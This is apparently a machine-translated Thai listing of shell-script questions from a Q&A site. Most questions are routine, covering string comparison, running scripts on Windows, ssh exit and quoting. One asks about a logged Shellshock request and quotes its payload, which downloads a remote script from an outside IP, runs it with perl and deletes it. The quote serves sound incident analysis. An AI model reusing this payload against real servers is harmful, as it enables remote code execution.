คำถามติดแท็ก shell-script

เชลล์สคริปต์เป็นสคริปต์ที่เขียนขึ้นสำหรับเชลล์หรือล่ามบรรทัดคำสั่งของระบบปฏิบัติการ

2
ฉันจะเปรียบเทียบตัวแปรกับสตริงข้อความแทนที่จะเป็นจำนวนเต็มในคำสั่ง if / else ได้อย่างไร
ในขั้นตอนการเขียนเชลล์สคริปต์ฉันพบปัญหาด้วยคำสั่ง if / else ต่อไปนี้ซึ่งอยู่ตรงกลางของสคริปต์: if [ $act -eq "add" ] then read - "add or update: " $comm git commit -m "$comm $file" else git commit -m "$act $file" fi ข้อผิดพลาดที่กลับมาเป็น: ./gitup: line 13: [: add: integer expression expected แล้วจึงดำเนินการกับส่วนที่เหลือของสคริปต์ ฉันจะมีถ้าเซ็กเมนต์ประเมิน / เปรียบเทียบตัวแปรกับอินพุตสตริงแทนที่จะเป็นจำนวนเต็ม; ต้องการข้อผิดพลาดที่แตกต่างกันเมื่อใช้ "! =" ท่ามกลางสิ่งอื่นที่ฉันลอง

3
นี่เป็นการโจมตีหรืออะไรที่น่าเป็นห่วง? ทำพิษ?
เห็นสิ่งนี้ในaccess.logเซิร์ฟเวอร์ทดสอบของฉัน: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" ไม่มีที่อยู่ใดที่เกี่ยวข้องกับฉันหรือช่วง IP ของเรา (หรือสิ่งอื่นใดสำหรับเรื่องนั้น) กำลังคิดในทันทีเกี่ยวกับข้อบกพร่องด้านความปลอดภัยของ Shellshock / "bashdoor" มันจริงดูเหมือนว่ามีคนได้พยายามที่จะcurl"บางอย่าง" ลงไปยังเซิร์ฟเวอร์แล้วดำเนินการที่ว่า "อะไร" และหลังจากนั้นลบ "อะไร" -rfกับ นี่คือเซิร์ฟเวอร์ทดสอบบริสุทธิ์ไม่มีอันตรายใด ๆ เกิดขึ้น …

8
ฉันจะรันเชลล์สคริปต์ใน Windows ได้อย่างไร [ซ้ำ]
คำถามนี้มีคำตอบอยู่ที่นี่แล้ว : วิธีการเรียกใช้ไฟล์. sh บน Windows (15 คำตอบ) ปิดให้บริการใน2 ปีที่ผ่านมา คำถามนี้ถูกโยกย้ายจาก Stack Overflow เพราะสามารถตอบได้ใน Super User อพยพ 7 ปีที่ผ่านมา ฉันเป็นผู้ใช้ Mac และเป็นมือใหม่สำหรับ Windows ฉันจะรันเชลล์สคริปต์ใน Windows ได้อย่างไร โดยทั่วไปแล้วฉันจะบันทึกไฟล์ข้อความพร้อมกับนามสกุล.shและเรียกใช้ผ่านเทอร์มินัล แต่ฉันจะทำสิ่งนั้นใน Windows ได้อย่างไร

7
รันเชลล์สคริปต์บน OS X โดยไม่ต้องมีหน้าต่างเทอร์มินัลปรากฏขึ้นมาใช่หรือไม่
ฉันกำลังพยายามตั้งค่าแป้นพิมพ์ลัดที่เปิดเซสชัน iTerm เฉพาะซึ่งฉันสามารถทำได้ด้วย BetterTouchTool และเวทมนต์ AppleScript ปัญหาคือ OS X ยืนยันที่จะเปิดหน้าต่างเทอร์มินัลสำหรับเชลล์สคริปต์ใด ๆ ที่คุณดำเนินการผ่าน GUI (เช่นจาก Finder หรือเป็นแป้นพิมพ์ลัดจาก BetterTouchTool) หน้าต่างเทอร์มินัลไม่ปรากฏขึ้นหากฉันเรียกใช้สคริปต์โดยตรงจากเทอร์มินัลอื่น วิธีแก้ปัญหาที่ฉันพบคือการตัดสคริปต์ในไดเรกทอรี. app ซึ่งแก้ปัญหาของหน้าต่างเทอร์มินัลที่ฟุ่มเฟือย แต่มีปัญหาอื่น ๆ (ตัวอย่างเช่น OS X ดูเหมือนจะปฏิบัติต่อหน้าต่าง iTerm ที่เกิดขึ้นแต่ละรายการเป็นแอพแยกต่างหาก ) (แก้ไข: พฤติกรรมนี้เกิดจากข้อบกพร่องในสคริปต์ของฉันจริงดูด้านล่าง) ฉันได้ลองกำหนดแอพ Terminal ให้เดสก์ท็อปเสมือนอื่นในการตั้งค่า Spaces เพื่อพยายามย้ายออกจากสายตา แต่ก็จะสลับไปยังเดสก์ท็อปก่อนก่อนที่จะเรียกใช้สคริปต์ มีวิธีการปิดการใช้งานพฤติกรรมนี้อย่างสมบูรณ์หรือไม่? ฉันพบการตั้งค่าในการตั้งค่าเทอร์มินัลเพื่อปิดหน้าต่างหลังจากสคริปต์เสร็จสิ้นแล้ว แต่ก็ยังน่ารำคาญที่จะให้หน้าต่าง Terminal ปรากฏขึ้นอีกหนึ่งวินาที

3
ตรวจสอบสถาปัตยกรรมของ Mac จากบรรทัดคำสั่งหรือสคริปต์หรือไม่
ฉันกำลังเขียนเชลล์สคริปต์และฉันจำเป็นต้องรู้สถาปัตยกรรมเช่น PPC หรือ Intel ย้อนกลับไปในวันนี้มีโปรแกรม / bin / arch ที่บอกคุณ แต่ Mac ของฉันไม่ได้มี มีวิธีง่าย ๆ ที่ฉันสามารถทำได้หรือไม่? เหมาะสำหรับบางสิ่งบางอย่างใน logfile หรือไม่? เรียกโปรแกรมอื่นที่แยกออกมาเป็นผลข้างเคียงหรือไม่? เป็นเรื่องดีที่ได้ทราบว่าระบบปฏิบัติการรุ่นใดที่ฉันใช้ด้วยเช่นกัน แต่นั่นอาจไม่จำเป็น

3
การส่งผ่านสองอาร์กิวเมนต์ไปยังคำสั่งโดยใช้ไพพ์
โดยปกติเราจะต้องผ่านการโต้แย้งเพียงครั้งเดียวเท่านั้น: echo abc | cat echo abc | cat some_file - echo abc | cat - some_file มีวิธีการผ่านสองข้อโต้แย้งหรือไม่? สิ่งที่ต้องการ {echo abc , echo xyz} | cat cat `echo abc` `echo xyz` ฉันสามารถเก็บผลลัพธ์ทั้งสองไว้ในไฟล์ก่อนได้ echo abc > file1 echo xyz > file2 cat file1 file2 แต่ฉันอาจเขียนทับไฟล์โดยไม่ตั้งใจซึ่งไม่เป็นไร นี่จะเป็นสคริปต์แบบไม่โต้ตอบ โดยพื้นฐานแล้วฉันต้องการวิธีส่งผลลัพธ์ของคำสั่งสองคำสั่งไปยังcatโดยไม่ต้องเขียนลงไฟล์ อัปเดต: ขออภัยตัวอย่างนี้ปิดบังปัญหา ในขณะที่{ echo …

7
ssh และ shell ผ่าน ssh: จะออกอย่างไร
ฉันเปิดตัวสคริปต์ที่ห่างไกลผ่าน SSH เช่นนี้: ssh user@ipaddress '~/my_script.sh' ทุกอย่างกำลังดี แต่เมื่อสคริปต์เสร็จสิ้นการเชื่อมต่อจะไม่ปิด ฉันต้องกด CTRL-C เพื่อหยุดการเชื่อมต่อปัจจุบัน ฉันได้ลองใช้คำสั่ง "exit" ใน '~ / my_script.sh' และมันไร้ประโยชน์ ฉันได้ลองใช้คำสั่ง "ออกจากระบบ" ใน '~ / my_script.sh' และได้รับข้อความ: logout: not login shell: use exit ... มีความคิดใดที่ฉันจะปิดโดยอัตโนมัติและ SSH อย่างถูกต้องเมื่อสคริปต์เสร็จสิ้น? (การแก้ไขเพื่อความกระจ่าง :) นี่คือสิ่งที่อยู่ในสคริปต์ของฉัน: #!/bin/sh path_sources_qas=/sources/QuickAddress/ path_qas_bin=/usr/bin/qas umount_disque_qas() { # Umount du disque 'qas' s'il n'avait …
22 bash  ssh  shell-script 

2
ฉันจะเชื่อมสตริงเข้าด้วยกันในสคริปต์ทุบตีได้อย่างไร
ฉันจะเชื่อมสตริงและตัวแปรเข้าด้วยกันในเชลล์สคริปต์ได้อย่างไร? stringOne = "foo" stringTwo = "AnythingButBar" stringThree = "? และ?" ฉันต้องการที่จะแสดงผล "foo และอะไรก็ได้ ButBar"

1
Bash: ส่งอาร์กิวเมนต์ที่เป็นทางเลือกไปยังคำสั่ง
ฉันกำลังพยายามเพิ่มข้อโต้แย้งในการเรียกใช้คำสั่งขึ้นอยู่กับตัวแปรอื่น โปรดดูรหัสเชลล์สคริปต์: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com ในตัวอย่างถ้าtitleจะได้รับไม่เป็นโมฆะ, curlอาร์กิวเมนต์จะถูกเพิ่มเข้าไป สิ่งนี้ทำงานไม่ถูกต้องหากtitleมีช่องว่าง นอกจากนี้ผมไม่สามารถล้อมรอบ$(...)ด้วยใบเสนอราคาเพราะถ้าเป็นโมฆะก็จะให้ผลผลิตอาร์กิวเมนต์ที่ว่างเปล่าที่ไม่คาดคิดtitlecurl ฉันควรทำอย่างไรเพื่อให้ทำงานได้ตามที่คาดหวัง

4
ฉันควรใส่นามสกุลไฟล์ * .sh และ * .rb ในสคริปต์ทั้งหมดของฉันหรือไม่
ฉันมีสคริปต์ที่เรียกใช้งานได้จำนวนมากในไดเรกทอรี $ HOME / bin บางคนเขียนด้วย bash และบางคนเป็น Ruby พวกเขาทุกคนมีเส้น shebang ที่ด้านบนบอกว่า shell ใช้ล่ามอะไร (bash หรือ Ruby ในกรณีของฉัน) ฉันสงสัยว่าจะดีกว่าหรือไม่ที่จะใส่นามสกุลไฟล์ลงในสคริปต์เหล่านี้เพื่อระบุภาษาสคริปต์ที่ใช้เขียน ตัวอย่างเช่นสคริปต์ใน Ruby จะมีส่วนต่อท้าย * .rb และสคริปต์ทุบตีจะมีส่วนต่อท้าย * .sh ปัจจุบันสคริปต์เหล่านี้มีชื่อง่าย ๆ ที่ไม่มีนามสกุลไฟล์ วิธีปฏิบัติที่ดีที่สุดคืออะไร


2
การเขียนเชลล์สคริปต์ที่จะทำงานบนเชลล์ใด ๆ (ใช้หลายบรรทัด Shebang?)
ฉันเพิ่งเริ่มเข้าใจเชลล์สคริปต์มากขึ้นและฉันก็แค่โยนสคริปต์ลงในไฟล์ทำเครื่องหมายchmod +xและทำทุกอย่างแล้ว/path/to/script.shให้ล่ามทุกตัวที่เป็นค่าเริ่มต้นมีทางด้วยซึ่งฉันคิดว่าเป็น zsh เพราะนั่นคือสิ่งที่ ฉันใช้เปลือกของฉัน เห็นได้ชัดว่ามันก็ดูเหมือนว่ามันเป็นเพียง/bin/shโดยค่าเริ่มต้นแม้ว่าผมจะรันสคริปต์จาก zsh พรอมต์เพราะผมเริ่มวางสิ่ง zsh zsh /path/to/script.shเฉพาะในสคริปต์ของฉันและมันก็ล้มเหลวถ้าฉันทำงาน เพื่อให้ตรงประเด็นนี่คือคำถามของฉัน: เชลล์ตัวไหนรันสคริปต์เมื่อไม่มีบรรทัด shebang ( #!/path/to/shell) ที่จุดเริ่มต้น? ฉันถือว่า/bin/shแต่ฉันไม่สามารถยืนยันได้ อะไรคือ "แนวทางปฏิบัติที่ดีที่สุด" ในแง่ของการเขียนเชลล์สคริปต์ที่จะทำงานบนแพลตฟอร์มใด ๆ (ตกลงนี่เป็นแบบปลายเปิด) เป็นไปได้ไหมที่จะเขียนสคริปต์ที่พยายามใช้ zsh และกลับไปใช้ทุบตีหาก zsh ไม่พร้อมใช้งาน? ฉันได้ลองใส่ Shebang สองบรรทัดเช่นด้านล่าง แต่มันก็ผิดพลาดbad interpreter: /bin/zsh: no such file or directoryถ้าฉันลองมันบนเครื่องที่ไม่มี zsh #!/bin/zsh #!/bin/bash

5
ตรวจสอบโดยทางโปรแกรมว่าสคริปต์จะถูกดำเนินการบนแล็ปท็อปหรือเดสก์ท็อป?
มีวิธีใดที่เชื่อถือได้ในการพิจารณา (โดยทางโปรแกรม) จากภายในสคริปต์ทุบตีถ้ามันถูกดำเนินการบนแล็ปท็อปหรือคอมพิวเตอร์เดสก์ท็อป? เห็นได้ชัดว่าฉันเพียงแค่แจ้งให้ผู้ใช้ถามพวกเขา แต่นั่นเป็น clunky สวย

4
คุณจะใช้เครื่องหมายอัญประกาศเดี่ยวในสตริงที่มีเครื่องหมายคำพูดเดี่ยวได้อย่างไร?
ฉันไม่เข้าใจว่า bash จะประเมินการหลบหลีกของอักขระ apostrophe ได้อย่างไรในสตริงที่ยกมาเดี่ยว นี่คือตัวอย่าง: $ echo ''\''Hello World'\''' 'Hello World' # works $ echo '\'Hello World\'' > # expects you to continue input ฉันพยายามค้นหาคำอธิบาย แต่ไม่สามารถรับอะไรได้ ทุบตีทำอะไรที่นี่?

1
แยกคำที่ยาวมาก ๆ ออกเป็นเส้นยาวแยกกัน
ฉันมีสคริปต์ที่แสดงรายการแพ็กเกจบนบรรทัดยาวเดี่ยวคั่นด้วยช่องว่าง ข้อมูลที่รวมอยู่ในบรรทัดนี้จะถูกแทรกลงในไฟล์ข้อความซึ่งจะนำเสนอให้กับผู้ใช้ในภายหลัง ฉันต้องการแยกบรรทัดยาวเป็นหลายบรรทัดด้วยความยาวสูงสุดที่กำหนดเช่น 80 อักขระ แต่การแบ่งควรเกิดขึ้นที่ช่องว่างเท่านั้น (ดังนั้นบางบรรทัดอาจสั้นกว่านี้หากไม่มีช่องว่างหลังจาก 80 ตัวอักษรและองค์ประกอบถัดไปจะทำให้ มันอีกต่อไป) กรณีที่รายการเดียวที่มีความยาวมากกว่า 80 ตัวอักษรอาจไม่เกิดขึ้นและฉันไม่สนใจว่ารายการนี้แบ่งกลางหรือผลลัพธ์ในบรรทัดที่ยาวกว่าเดียว โดยพื้นฐานแล้วมันเป็นสิ่งเดียวกับที่โปรแกรมแก้ไขข้อความส่วนใหญ่ทำเมื่อเลือกการตัดคำอัตโนมัติ แต่ฉันต้องการทำจากสคริปต์เชลล์ อินพุตตัวอย่าง: libkrb5-3 libk5crypto3 openssh-server libc-bin base-files sysvinit-utils bind9-host python-minimal python-reportbug dnsutils perl libgnutls-openssl27 mutt reportbug libdns88 perl-base whois bash libgnutls26 perl-modules libapt-inst1.5 python2.7 libexpat1 libisccc80 libgssrpc4 apt-utils procmail apt locales liblwres80 libkrb5support0 python openssh-client multiarch-support …

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.